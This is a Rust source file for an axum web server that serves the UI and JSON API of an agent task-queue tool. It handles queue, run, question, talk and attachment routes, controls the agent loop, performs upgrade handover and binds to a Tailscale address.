1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{self, Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127pub const DEFAULT_PORT: u16 = 7878;
129
130const POLL: Duration = Duration::from_secs(1);
132
133const KEEPALIVE: Duration = Duration::from_secs(15);
137
138const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154const LIST_DEFAULT: usize = 50;
158const LIST_MAX: usize = 500;
160
161const TITLE_MAX: usize = 72;
163
164const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181const FILENAME_HEADER: &str = "x-filename";
185
186const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209 font-src data:; base-uri 'none'; form-action 'none'; \
210 frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219 Auto,
221 Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226 type Err = String;
227
228 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232 if s.eq_ignore_ascii_case("auto") {
233 return Ok(Self::Auto);
234 }
235 s.parse()
236 .map(Self::Addr)
237 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238 }
239}
240
241impl std::fmt::Display for Bind {
242 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243 match self {
244 Self::Auto => f.write_str("auto"),
245 Self::Addr(addr) => write!(f, "{addr}"),
246 }
247 }
248}
249
250#[derive(Debug, Clone)]
252pub struct Opts {
253 pub bind: Bind,
255 pub port: u16,
257 pub repo: PathBuf,
259 pub open: bool,
262 pub merge: Option<String>,
270}
271
272impl Default for Opts {
273 fn default() -> Self {
274 Self {
275 bind: Bind::Auto,
276 port: DEFAULT_PORT,
277 repo: PathBuf::from("."),
278 open: false,
279 merge: None,
280 }
281 }
282}
283
284#[derive(Debug, Clone)]
290pub struct Ui {
291 queue: Queue,
292 questions: Questions,
293 notices: Notices,
296 talks: Talks,
297 runs: PathBuf,
298 home: PathBuf,
299 repo: PathBuf,
300 worktrees_root: PathBuf,
307 talk_turns: Arc<Mutex<TalkTurns>>,
315 resuming: Arc<Mutex<HashSet<String>>>,
323 repos_cache: repos::Cache,
327 merge: Option<String>,
329 looping: Arc<Mutex<LoopState>>,
331 launch: Launch,
343 #[cfg(test)]
346 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349#[cfg(test)]
369struct BusyQueueGate {
370 reached: tokio::sync::oneshot::Sender<()>,
371 release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378 }
379}
380
381impl Ui {
382 pub fn new(
384 queue: Queue,
385 questions: Questions,
386 talks: Talks,
387 runs: PathBuf,
388 home: PathBuf,
389 repo: PathBuf,
390 ) -> Self {
391 Self {
392 queue,
393 questions,
394 notices: Notices::at(home.join("notifications")),
395 talks,
396 runs,
397 home,
398 repo,
399 worktrees_root: run::default_worktree_root(),
403 talk_turns: Arc::default(),
404 resuming: Arc::default(),
405 repos_cache: repos::Cache::new(),
406 merge: None,
407 looping: Arc::default(),
408 launch: launch_daemon,
409 #[cfg(test)]
410 busy_queue_gate: Arc::default(),
411 }
412 }
413
414 pub fn open(repo: PathBuf) -> Self {
417 Self::new(
418 Queue::open(),
419 Questions::open(),
420 Talks::open(),
421 run::runs_root(),
422 run::home(),
423 repo,
424 )
425 }
426
427 #[must_use]
434 pub fn with_merge(mut self, merge: Option<String>) -> Self {
435 self.merge = merge;
436 self
437 }
438
439 #[must_use]
444 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445 self.worktrees_root = root;
446 self
447 }
448
449 #[cfg(test)]
454 #[must_use]
455 fn with_launch(mut self, launch: Launch) -> Self {
456 self.launch = launch;
457 self
458 }
459
460 #[cfg(test)]
470 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471 *self
472 .busy_queue_gate
473 .lock()
474 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475 }
476
477 fn looping(&self) -> Arc<Mutex<LoopState>> {
479 Arc::clone(&self.looping)
480 }
481
482 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489 if let Some(other) = foreign {
490 return Err(ApiError::conflict(format!(
491 "{} is already running the loop, so this one will not start a \
492 second: two loops on one queue race for the same claims and \
493 burn the agent quota twice over. Stop it where it was \
494 started.",
495 other.who()
496 )));
497 }
498 let mut state = self.lock_loop();
499 if state.live.as_ref().is_some_and(Live::alive) {
500 return Err(ApiError::conflict(format!(
501 "this magi web process (pid {}) is already running the loop",
502 std::process::id()
503 )));
504 }
505
506 let stop = daemon::Stop::new();
507 let opts = daemon::Opts {
511 repo: self.repo.clone(),
512 merge: self.merge.clone(),
513 worktrees_root: Some(self.worktrees_root.clone()),
520 ..daemon::Opts::default()
521 };
522 let launch = self.launch;
523 let looping = Arc::clone(&self.looping);
524 let handle = tokio::spawn({
525 let opts = opts.clone();
526 let stop = stop.clone();
527 async move {
528 let failure = match launch(opts, stop).await {
529 Ok(()) => None,
530 Err(e) => Some(format!("{e:#}")),
531 };
532 match &failure {
533 Some(why) => tracing::error!("the loop stopped: {why}"),
534 None => tracing::info!("the loop stopped"),
535 }
536 let mut state = lock_or_recover(&looping);
542 state.live = None;
543 state.last_error = failure;
544 state.rev += 1;
545 }
546 });
547 tracing::info!(
548 "the loop is now running in this process: repo {}, merge {}",
549 opts.repo.display(),
550 opts.merge.as_deref().unwrap_or("as the config says")
551 );
552 state.live = Some(Live { stop, handle, opts });
553 state.last_error = None;
556 state.rev += 1;
557 Ok(())
558 }
559
560 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566 if let Some(other) = foreign {
567 return Err(ApiError::conflict(format!(
568 "the loop belongs to {}, and this process cannot stop it - \
569 stop it where it was started. A button that silently did \
570 nothing would be worse than this refusal.",
571 other.who()
572 )));
573 }
574 let mut state = self.lock_loop();
575 let Some(live) = state.live.as_ref() else {
576 return Ok(());
577 };
578 if live.stop.stopped() && (!park || live.stop.parking()) {
582 return Ok(());
583 }
584 if park {
585 live.stop.park();
586 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
587 } else {
588 live.stop.stop();
589 tracing::info!("the loop was asked to stop; a run in flight is finished first");
590 }
591 state.rev += 1;
592 Ok(())
593 }
594
595 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
602 let state = self.lock_loop();
603 let live = state.live.as_ref().filter(|live| live.alive());
606 LoopView {
607 running: live.is_some(),
608 stopping: live.is_some_and(|live| live.stop.finishing()),
609 parking: live.is_some_and(|live| live.stop.parking()),
610 owned: live.is_some(),
611 repo: live
612 .map_or(&self.repo, |live| &live.opts.repo)
613 .display()
614 .to_string(),
615 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
616 last_error: state.last_error.clone(),
617 daemon: DaemonView::of(reading),
618 }
619 }
620
621 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
623 lock_or_recover(&self.looping)
624 }
625
626 fn is_thinking(&self, id: &str) -> bool {
632 self.talk_turns
633 .lock()
634 .is_ok_and(|turns| turns.live.contains(id))
635 }
636
637 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
656 self.claim_talk_turn(id, false)
657 }
658
659 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
662 self.claim_talk_turn(id, true)
663 }
664
665 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
666 let mut live = self
667 .talk_turns
668 .lock()
669 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
670 if !live.live.insert(id.to_owned()) {
671 if queued {
672 *live.queued.entry(id.to_owned()).or_default() += 1;
677 }
678 return Ok(None);
679 }
680 Ok(Some(TalkTurnGuard {
681 talk: id.to_owned(),
682 turns: Arc::clone(&self.talk_turns),
683 released: false,
684 }))
685 }
686
687 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
692 let mut live = self
693 .talk_turns
694 .lock()
695 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
696 if live.live.contains(id) {
697 return Ok(TalkTurnStart::Busy);
698 }
699 let talk = self.talks.get(id).map_err(ApiError::from)?;
700 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
701 return Ok(TalkTurnStart::Pending);
702 }
703 live.live.insert(id.to_owned());
704 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
705 talk: id.to_owned(),
706 turns: Arc::clone(&self.talk_turns),
707 released: false,
708 }))
709 }
710
711 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
718 let parking = {
719 let mut state = self.lock_loop();
720 let Some(live) = state.live.as_ref() else {
721 return Ok(None);
722 };
723 let busy = live.stop.busy_now();
724 live.stop.park();
725 state.rev += 1;
726 busy
727 };
728 Ok(if parking {
729 daemon::current_work(&self.home, jiff::Timestamp::now())
734 .into_iter()
735 .next()
736 .map(|c| c.run)
737 } else {
738 None
739 })
740 }
741
742 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
746 let mut live = self
747 .resuming
748 .lock()
749 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
750 if !live.insert(id.to_owned()) {
751 return Err(ApiError::conflict(format!(
752 "run {id} is already being resumed"
753 )));
754 }
755 Ok(ResumeGuard {
756 run: id.to_owned(),
757 resuming: Arc::clone(&self.resuming),
758 })
759 }
760
761 pub fn router(self) -> Router {
769 Router::new()
770 .route("/", get(index))
771 .route("/app.css", get(app_css))
772 .route("/app.js", get(app_js))
773 .route("/api/health", get(health))
774 .route("/api/loop", get(loop_get).post(loop_post))
775 .route("/api/upgrade", post(upgrade_post))
776 .route("/api/runs", get(runs_list))
777 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
778 .route("/api/runs/{id}/report", get(run_report))
779 .route("/api/runs/{id}/fold", post(run_fold))
780 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
781 .route("/api/runs/{id}/resume", post(run_resume))
782 .route("/api/queue", get(queue_list))
783 .route("/api/stats", get(stats_get))
784 .route("/api/queue/{id}", delete(queue_delete))
785 .route("/api/repos", get(repos_list))
786 .route("/api/queue/{id}/hold", post(queue_hold))
787 .route("/api/queue/{id}/release", post(queue_release))
788 .route("/api/queue/{id}/priority", post(queue_priority))
789 .route("/api/queue/{id}/edit", post(queue_edit))
790 .route("/api/queue/{id}/done", post(queue_done))
791 .route("/api/questions", get(questions_list))
792 .route("/api/questions/{id}/answer", post(question_answer))
793 .route("/api/questions/{id}/say", post(question_say))
794 .route("/api/questions/{id}/panel", get(question_panel))
795 .route("/api/questions/{id}/panel/index.html", get(question_panel))
803 .route("/api/questions/{id}/panel/{name}", get(question_asset))
804 .route("/api/questions/{id}/asset/{name}", get(question_asset))
805 .route("/api/notifications", get(notifications_list))
806 .route("/api/notifications/read-all", post(notifications_read_all))
807 .route("/api/notifications/{id}/read", post(notification_read))
808 .route(
809 "/api/notifications/{id}/dismiss",
810 post(notification_dismiss),
811 )
812 .route("/api/talks", get(talks_list).post(talk_post))
813 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
814 .route("/api/talks/{id}/say", post(talk_say))
815 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
816 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
817 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
818 .route("/api/talks/{id}/close", post(talk_close))
819 .route("/api/talks/{id}/reopen", post(talk_reopen))
820 .route(
826 "/api/talks/{id}/attachments",
827 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
828 )
829 .route(
830 "/api/talks/{id}/attachments/{att}",
831 get(talk_attachment_get),
832 )
833 .route("/api/events", get(events))
834 .with_state(Arc::new(self))
835 }
836}
837
838#[derive(Debug)]
844struct TalkTurnGuard {
845 talk: String,
846 turns: Arc<Mutex<TalkTurns>>,
847 released: bool,
848}
849
850#[derive(Debug, Default)]
857struct TalkTurns {
858 live: HashSet<String>,
859 queued: HashMap<String, u64>,
860}
861
862enum TalkTurnStart {
865 Claimed(TalkTurnGuard),
866 Busy,
867 Pending,
868}
869
870impl TalkTurnGuard {
871 fn release(mut self, live: &mut TalkTurns) {
874 live.live.remove(&self.talk);
875 live.queued.remove(&self.talk);
876 self.released = true;
877 }
878}
879
880impl Drop for TalkTurnGuard {
881 fn drop(&mut self) {
882 if self.released {
883 return;
884 }
885 if let Ok(mut live) = self.turns.lock() {
886 live.live.remove(&self.talk);
887 live.queued.remove(&self.talk);
888 }
889 }
890}
891
892struct ResumeGuard {
894 run: String,
895 resuming: Arc<Mutex<HashSet<String>>>,
896}
897
898impl Drop for ResumeGuard {
899 fn drop(&mut self) {
900 if let Ok(mut live) = self.resuming.lock() {
901 live.remove(&self.run);
902 }
903 }
904}
905
906async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
916 const WINDOW: Duration = Duration::from_secs(10);
917 const GAP: Duration = Duration::from_millis(250);
918
919 let deadline = std::time::Instant::now() + WINDOW;
920 let mut said = false;
921 loop {
922 match tokio::net::TcpListener::bind(socket).await {
923 Ok(listener) => return Ok(listener),
924 Err(e)
925 if e.kind() == std::io::ErrorKind::AddrInUse
926 && std::time::Instant::now() < deadline =>
927 {
928 if !said {
929 said = true;
930 tracing::info!(
931 "{socket} is still held - waiting up to {}s for it, \
932 which is what a restart looks like from here",
933 WINDOW.as_secs()
934 );
935 }
936 tokio::time::sleep(GAP).await;
937 }
938 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
939 }
940 }
941}
942
943static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
946
947fn spawn_successor() -> Result<()> {
959 let exe = std::env::current_exe().context("find this binary")?;
960 let args: Vec<String> = std::env::args().skip(1).collect();
961 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
962
963 let mut cmd = std::process::Command::new(&exe);
964 cmd.args(&args)
965 .stdin(std::process::Stdio::null())
966 .stdout(std::process::Stdio::null())
967 .stderr(std::process::Stdio::null());
968 #[cfg(windows)]
969 {
970 use std::os::windows::process::CommandExt as _;
971 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
974 }
975 cmd.spawn().context("start the successor")?;
976 Ok(())
977}
978
979pub async fn serve(opts: Opts) -> Result<()> {
1004 let (addr, warning) = resolve_bind(&opts.bind);
1005 if let Some(warning) = warning {
1006 tracing::warn!("{warning}");
1007 }
1008
1009 report::set_color(false);
1015
1016 let repo = normalize_default_repo(opts.repo).await;
1017 let ui = Ui::open(repo).with_merge(opts.merge);
1018 let home = ui.home.clone();
1023 let repo = ui.repo.clone();
1024 updater::reconcile_after_restart(&home);
1029 tokio::spawn(run_update_recheck(repo, home.clone()));
1038 let looping = ui.looping();
1039 let socket = SocketAddr::new(addr, opts.port);
1040 let listener = bind_waiting(socket).await?;
1041 let url = format!("http://{addr}:{}", opts.port);
1042 tracing::info!(
1043 "magi web UI on {url} - there is no authentication, so anyone who can \
1044 reach this address can file and hold tasks: the tailnet is the \
1045 security boundary"
1046 );
1047 tracing::info!(
1048 "the queue loop is not running yet - start it from the UI, which is \
1049 the whole reason this process can: nothing in the queue moves until \
1050 something is running the loop"
1051 );
1052 if opts.open {
1053 println!("{url}");
1057 }
1058
1059 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1062 let interrupted = async {
1063 if tokio::signal::ctrl_c().await.is_err() {
1064 std::future::pending::<()>().await;
1069 }
1070 };
1071 let handover = HANDOVER.notified();
1072 tokio::select! {
1073 joined = &mut served => match joined {
1074 Ok(outcome) => outcome.context("serve the web UI"),
1075 Err(e) => Err(e).context("the task serving the web UI ended"),
1076 },
1077 () = interrupted => {
1078 tracing::info!("shutting down the web UI");
1079 finish_loop(&looping).await;
1080 Ok(())
1081 }
1082 () = handover => {
1083 tracing::info!("upgraded - handing this address to the successor");
1084 hand_over(&home, &looping, served, spawn_successor).await
1085 }
1086 }
1087}
1088
1089async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1110 if repo != FsPath::new(".") {
1111 return repo;
1112 }
1113 let Ok(canonical) = repo.canonicalize() else {
1114 return repo;
1115 };
1116 if git::toplevel(&canonical).await.is_ok() {
1117 return repo;
1118 }
1119 let Some(home) = dirs::home_dir() else {
1120 return repo;
1121 };
1122 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1123 Some(found) => {
1124 tracing::info!(
1125 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1126 canonical.display(),
1127 found.path.display(),
1128 found.reason,
1129 );
1130 found.path
1131 }
1132 None => repo,
1133 }
1134}
1135
1136async fn hand_over(
1166 home: &FsPath,
1167 looping: &Mutex<LoopState>,
1168 served: tokio::task::JoinHandle<std::io::Result<()>>,
1169 successor: impl FnOnce() -> Result<()>,
1170) -> Result<()> {
1171 if let Some(mut progress) = updater::read_progress(home) {
1172 progress.advance(updater::Stage::Parking);
1173 let _ = updater::write_progress(home, &progress);
1174 }
1175 finish_loop(looping).await;
1176 served.abort();
1177 let _ = served.await;
1178 if let Some(mut progress) = updater::read_progress(home) {
1179 progress.advance(updater::Stage::Restarting);
1180 let _ = updater::write_progress(home, &progress);
1181 }
1182 successor()
1183}
1184
1185async fn finish_loop(state: &Mutex<LoopState>) {
1192 let live = lock_or_recover(state).live.take();
1193 let Some(live) = live else { return };
1194 live.stop.stop();
1195 lock_or_recover(state).rev += 1;
1196 tracing::info!("waiting for the loop to finish the run in flight");
1197 let _ = live.handle.await;
1200}
1201
1202pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1208 match bind {
1209 Bind::Addr(addr) => (*addr, None),
1210 Bind::Auto => match tailscale_ip() {
1211 Ok(ip) => (IpAddr::V4(ip), None),
1212 Err(why) => (
1213 IpAddr::V4(Ipv4Addr::LOCALHOST),
1214 Some(format!(
1215 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1216 local-only and a phone cannot reach it; start Tailscale \
1217 or pass --bind <addr>"
1218 )),
1219 ),
1220 },
1221 }
1222}
1223
1224fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1232 let out = std::process::Command::new("tailscale")
1233 .args(["ip", "-4"])
1234 .quiet()
1235 .output()
1236 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1237 if !out.status.success() {
1238 let why = String::from_utf8_lossy(&out.stderr);
1239 let why = why.trim();
1240 return Err(format!(
1241 "`tailscale ip -4` failed ({}){}",
1242 out.status,
1243 if why.is_empty() {
1244 String::new()
1245 } else {
1246 format!(": {why}")
1247 }
1248 ));
1249 }
1250 String::from_utf8_lossy(&out.stdout)
1251 .lines()
1252 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1253 .find(is_tailnet)
1254 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1255}
1256
1257fn is_tailnet(ip: &Ipv4Addr) -> bool {
1259 let o = ip.octets();
1260 o[0] == 100 && (64..=127).contains(&o[1])
1261}
1262
1263type ApiResult<T> = std::result::Result<T, ApiError>;
1267
1268#[derive(Debug)]
1270struct ApiError {
1271 status: StatusCode,
1272 message: String,
1273}
1274
1275impl ApiError {
1276 fn bad_request(message: impl Into<String>) -> Self {
1278 Self {
1279 status: StatusCode::BAD_REQUEST,
1280 message: message.into(),
1281 }
1282 }
1283
1284 fn not_found(message: impl Into<String>) -> Self {
1286 Self {
1287 status: StatusCode::NOT_FOUND,
1288 message: message.into(),
1289 }
1290 }
1291
1292 fn with_status(mut self, status: StatusCode) -> Self {
1295 self.status = status;
1296 self
1297 }
1298
1299 fn bad_request_from(e: anyhow::Error) -> Self {
1303 Self::bad_request(format!("{e:#}"))
1304 }
1305
1306 fn conflict(message: impl Into<String>) -> Self {
1307 Self {
1308 status: StatusCode::CONFLICT,
1309 message: message.into(),
1310 }
1311 }
1312
1313 fn internal(message: impl Into<String>) -> Self {
1315 Self {
1316 status: StatusCode::INTERNAL_SERVER_ERROR,
1317 message: message.into(),
1318 }
1319 }
1320}
1321
1322impl From<anyhow::Error> for ApiError {
1323 fn from(e: anyhow::Error) -> Self {
1328 Self::internal(format!("{e:#}"))
1329 }
1330}
1331
1332impl IntoResponse for ApiError {
1333 fn into_response(self) -> Response {
1334 let body = serde_json::json!({ "error": self.message });
1335 (self.status, Json(body)).into_response()
1336 }
1337}
1338
1339async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1348where
1349 T: Send + 'static,
1350{
1351 match tokio::task::spawn_blocking(job).await {
1352 Ok(result) => result,
1353 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1354 }
1355}
1356
1357const ASSET_CACHE: &str = "no-cache, must-revalidate";
1375
1376fn asset_etag() -> &'static str {
1383 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1384 format!(
1385 "\"{}-{}\"",
1386 env!("CARGO_PKG_VERSION"),
1387 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1392 )
1393 });
1394 &TAG
1395}
1396
1397fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1399 [
1400 (header::CONTENT_TYPE, mime),
1401 (header::CACHE_CONTROL, ASSET_CACHE),
1402 (header::ETAG, asset_etag()),
1403 ]
1404}
1405
1406fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1414 let tag = asset_etag();
1415 let known = headers
1416 .get(header::IF_NONE_MATCH)
1417 .and_then(|v| v.to_str().ok())
1418 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1422 if known {
1423 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1424 }
1425 (asset_headers(mime), body).into_response()
1426}
1427
1428async fn index(headers: header::HeaderMap) -> Response {
1429 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1430}
1431
1432async fn app_css(headers: header::HeaderMap) -> Response {
1433 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1434}
1435
1436async fn app_js(headers: header::HeaderMap) -> Response {
1437 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1438}
1439
1440#[derive(Debug, Serialize)]
1442struct HealthView {
1443 version: &'static str,
1444 home: String,
1445 queue_rev: u64,
1446 runs_rev: u64,
1447 questions_rev: u64,
1459 talks_rev: u64,
1461 notifications_rev: u64,
1463 notifications_unread: usize,
1466 loop_rev: u64,
1471 runs_unreadable: usize,
1479 disk: DiskView,
1487 questions_open: usize,
1493 questions_needs_owner: usize,
1503 daemon: DaemonView,
1504 #[serde(rename = "loop")]
1510 looping: LoopView,
1511 update: UpdateView,
1518 upgrade: Option<UpgradeProgressView>,
1522}
1523
1524#[derive(Debug, Serialize)]
1531struct UpdateView {
1532 available: bool,
1534 to: Option<String>,
1536}
1537
1538#[derive(Debug, Serialize)]
1540struct UpgradeProgressView {
1541 stage: updater::Stage,
1542 from: String,
1543 to: Option<String>,
1544 waiting_on: Option<String>,
1547 started_at: Timestamp,
1548 updated_at: Timestamp,
1549 detail: Option<String>,
1550}
1551
1552fn should_spawn_recheck(cfg: &Update) -> bool {
1559 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1560}
1561
1562fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1574 if progress.is_some_and(|p| !p.stage.terminal()) {
1575 return false;
1576 }
1577 checker.should_check()
1578}
1579
1580fn recheck_poll_period(cfg: &Update) -> Duration {
1593 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1594}
1595
1596async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1620 loop {
1621 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1622 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1623 if !should_spawn_recheck(&cfg.update) {
1624 continue;
1625 }
1626 let Some(checker) = updater::Checker::new(&cfg.update) else {
1627 continue;
1628 };
1629 let progress = updater::read_progress(&home);
1630 if !update_recheck_due(&checker, progress.as_ref()) {
1631 continue;
1632 }
1633 if let Err(e) = checker.newer_release().await {
1634 tracing::warn!("background update recheck failed: {e:#}");
1635 }
1636 }
1637}
1638
1639fn cached_update_view(repo: &FsPath) -> UpdateView {
1645 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1646 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1647 match latest {
1648 Some(latest) => UpdateView {
1649 available: true,
1650 to: Some(latest.tag_name),
1651 },
1652 None => UpdateView {
1653 available: false,
1654 to: None,
1655 },
1656 }
1657}
1658
1659fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1665 let waiting_on = (progress.stage == updater::Stage::Parking)
1666 .then_some(progress.parked_run.as_deref())
1667 .flatten()
1668 .and_then(|id| read_run(&ui.runs, id).ok())
1669 .map(|run| {
1670 format!(
1671 "run {} is finishing {} before the address is handed over",
1672 run.short(),
1673 run.status.as_str()
1674 )
1675 });
1676 UpgradeProgressView {
1677 stage: progress.stage,
1678 from: progress.from,
1679 to: progress.to,
1680 waiting_on,
1681 started_at: progress.started_at,
1682 updated_at: progress.updated_at,
1683 detail: progress.detail,
1684 }
1685}
1686
1687#[derive(Debug, Serialize)]
1692struct DiskView {
1693 #[serde(skip_serializing_if = "Option::is_none")]
1695 free_bytes: Option<u64>,
1696 runs_bytes: u64,
1698 worktrees_bytes: u64,
1700 #[serde(skip_serializing_if = "Option::is_none")]
1702 cache_bytes: Option<u64>,
1703}
1704
1705impl DiskView {
1706 fn of(ui: &Ui) -> Self {
1708 let cache_bytes = Config::discover(&ui.repo, None)
1709 .ok()
1710 .and_then(|(cfg, _)| cfg.cache_dir())
1711 .map(|dir| crate::disk::dir_size(&dir));
1712 Self {
1713 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1714 runs_bytes: crate::disk::dir_size(&ui.runs),
1715 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1716 cache_bytes,
1717 }
1718 }
1719}
1720
1721#[derive(Debug, Serialize)]
1723struct DaemonView {
1724 running: bool,
1725 idle: Option<bool>,
1726 pid: Option<u32>,
1727 current: Vec<daemon::Current>,
1731 completed: Option<u64>,
1732 stale_for_secs: Option<i64>,
1733}
1734
1735impl DaemonView {
1736 fn of(status: Option<daemon::Reading>) -> Self {
1740 let Some(status) = status else {
1741 return Self {
1742 running: false,
1743 idle: None,
1744 pid: None,
1745 current: Vec::new(),
1746 completed: None,
1747 stale_for_secs: None,
1748 };
1749 };
1750 let now = Timestamp::now();
1751 let age = status.age_secs(now);
1752 Self {
1753 running: status.running(now),
1754 idle: Some(status.idle),
1755 pid: status.pid,
1756 current: status.current,
1757 completed: Some(status.completed),
1758 stale_for_secs: age,
1759 }
1760 }
1761}
1762
1763async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1764 blocking(move || {
1765 let reading = daemon::read_status(&ui.home);
1769 let loop_rev = ui.lock_loop().rev;
1773 let update = cached_update_view(&ui.repo);
1774 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1775 Ok(Json(HealthView {
1776 version: env!("CARGO_PKG_VERSION"),
1777 home: ui.home.display().to_string(),
1778 queue_rev: ui.queue.revision(),
1779 runs_rev: runs_revision(&ui.runs),
1780 questions_rev: ui.questions.revision(),
1781 talks_rev: ui.talks.revision(),
1782 notifications_rev: ui.notices.revision(),
1783 notifications_unread: ui.notices.count_unread(),
1784 loop_rev,
1785 runs_unreadable: runs_unreadable(&ui.runs),
1786 questions_open: ui.questions.count_open(),
1787 questions_needs_owner: ui.questions.count_needs_owner(),
1788 daemon: DaemonView::of(reading.clone()),
1789 looping: ui.loop_view(reading),
1790 disk: DiskView::of(&ui),
1791 update,
1792 upgrade,
1793 }))
1794 })
1795 .await
1796}
1797
1798#[derive(Debug, Serialize)]
1800struct LoopView {
1801 running: bool,
1803 stopping: bool,
